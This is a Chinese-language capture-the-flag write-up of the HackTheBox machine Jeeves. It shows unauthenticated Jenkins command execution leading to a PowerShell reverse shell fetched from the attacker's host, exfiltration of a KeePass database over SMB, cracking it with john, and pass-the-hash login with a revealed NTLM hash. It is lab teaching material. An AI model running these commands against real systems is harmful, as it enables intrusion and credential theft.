Jeeves 是一个中等难度的靶机,知识点涉及Jeekins远程代码执行漏洞、KeePass解密、哈希传递NTFS数据
流读取等。感兴趣的同学可以在HackTheBox中进行学习。
通关思维导图
0x01 侦查
端口探测
首先通过nmap对目标进行端口扫描
nmap -Pn -p- -sV -sC -A 10.10.10.63 -oA nmap_Jeeves
扫描结果显示目标开放端口为80、135、445以及50000端口
80端口
网页中存在搜索框
尝试进行搜索出现报错,报错信息显示数据库为 SQL server 2005
50000端口
位于50000端口的 Jetty 中间件版本为9.4.z
使用 searchsploit 寻找 Jettty 的相关漏洞,结果存在一个目录穿越漏洞,但是未能成功利用
searchsploit jetty
使用 gobuster 目录扫描寻找可能存在的应用,成功发现askjeeves目录
gobuster dir -u http://10.10.10.63:50000 -w /usr/share/wordlists/dirbuster/directory-list
-lowercase-2.3-medium.txt -t 100
访问后界面显示为 Jenkins 应用,版本为2.87
0x02 上线[kohsuke]
Jenkins远程代码执行
Jenkins是一款提供软件开发的持续集成服务的工具,它运行在Servlet容器中(例如Apache Tomcat)。支持软件配置管理
SCM工具(包括AccuRev SCM、CVS、Subversion、Git、Perforce、Clearcase和RTC),可以执行基于Apache Ant和
Apache Maven的项目的任意的 Shell 脚本和 Windows 批处理命令
使用 searchsploit 查找相关漏洞,但并没有找到与当前版本相关的漏洞
searchsploit jenkins
在浏览界面时发现目标存在用户admin,尝试爆破弱口令无果
于是尝试在未登陆情况下操作 Jenkins,点击New Item并在中创建项目test
在Build Environmnet中选择Execute Windows batch command,尝试执行 ping 命令
点击build now,查看输出结果发现命令成功执行,说明可能存在命令注入漏洞
使用 nishang 中的Invoke-PowerShellTcp.ps1脚本进行反弹
cp /root/Desktop/nishang/Shells/Invoke-PowerShellTcp.ps1 .
在脚本最后添加地址和端口用于反弹
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 5555
同时在当前目录开启 http 服务
python3 -m http.server 80
在本地监听5555端口
nc -nvlp 5555
在项目中设置执行命令用于反弹shell
powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.3/Invoke-PowerShellTcp.ps1')
完成后点击build now执行命令
成功拿到反弹shell
在当前用户桌面上寻找 flag 并成功拿到第一个flag
dir c:\Users\kohsuke\Desktop
type c:\Users\kohsuke\Desktop\user.txt
远程代码执行扩展
同样在如下目录中也发现了执行命令界面
`http://10.10.10.63:50000/askjeeves/script`
测试 ping 命令可成功执行
构造命令用于执行反弹shell
cmd = """ powershell -c iex(new-object net.webclient).downloads
tring('http://10.10.14.3/Invoke-PowerShellTcp.ps1') """
println cmd.execute().text
0x03 权限提升[administrator]
检查系统配置
使用PowerUp检查 Windows 操作系统的危险配置、泄露密码,但是并未发现有用的信息
iex(new-object net.webclient).downloadstring('http://10.10.14.3/PowerUp.ps1')
Invoke-AllChecks
KeePass密码破解
查看当前用户的文档目录发现 KeePass 加密数据库,而打开 Keepass 数据库需要密码或密钥
dir c:\Users\kohsuke\Documents
因此需要寻找.key文件,尝试寻找但是并没找到该类型文件
where.exe /r c:\ *.key
在本地中使用 smbserver 开启smb服务
python3 smbserver.py mac ~/hackthebox/Machines/Jeeves
通过 smb 协议将该文件下载下来,尝试哈希破解。执行命令传输CEH.kdbx
cd c:\Users\kohsuke\Documents\
copy CEH.kdbx \\10.10.14.3\mac
使用 keepss2john 将 KeePass 数据库文件转换为可识别的哈希
keepass2john CEH.kdbx > CEH.hash
使用 john 进行密码破解,成功拿到密码moonshine1
john CEH.hash --wordlist=/usr/share/wordlists/rockyou.txt
哈希传递
使用 keepass2 打开该文件,如果未安装可直接使用 apt 进行安装
apt install keepass2
keepass2 CEH.kdbx
输入以上密码后可打开文件
按ctrl + h可以显示密码,拿到 NTLM 哈希如下:
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
使用 smbmap 进行测试,成功访问说明该哈希值正确
smbmap -u Administrator -p 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24
235ff238cbe81fe00' -H 10.10.10.63
使用 pth-winexe 通过哈希传递的方式成功登录管理员账户
pth-winexe -U Administrator%'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24
235ff238cbe81fe00' //10.10.10.63 cmd.exe
寻找flag
在管理员桌面上寻找第二个flag,其中的文本显示 flag 在其他地方,需要深入寻找
cd c:\Users\Administrator\Desktop
type hm.txt
使用 /r 参数可显示隐藏文件
dir /r
通过 NTFS 数据流读取root.txt,成功拿到第二个flag
more < hm.txt:root.txt:$DATA
0x04 总结
Jeeves 出自英国短片小说 My Man Jeeves,Jeeves 男仆其实就是 Jenkis 平台的标志。通过信息收集发现 Jenkis 管理
页面在未授权访问情况下可完成远程代码执行,利用该漏洞执行命令完成反弹shell,从而成功获取用户权限。
服务器中存在 KeePass 数据库文件,但是通过搜索并未发现用于解密的 key,衍生思路在本地进行哈希破解。将该文件下
载至本地后利用 keepass2john 拿到哈希,使用 john 进行哈希解密并成功破解出密码,利用该密码打开数据库发现其中
存在管理员的 NTLM 哈希。
利用哈希传递可成功拿到管理员权限,但管理员桌面上并未发现flag,使用dir /r命令可显示隐藏的 flag 文件同时该文件
无法直接读取,最终需要借助 NTFS 数据流才能成功读取。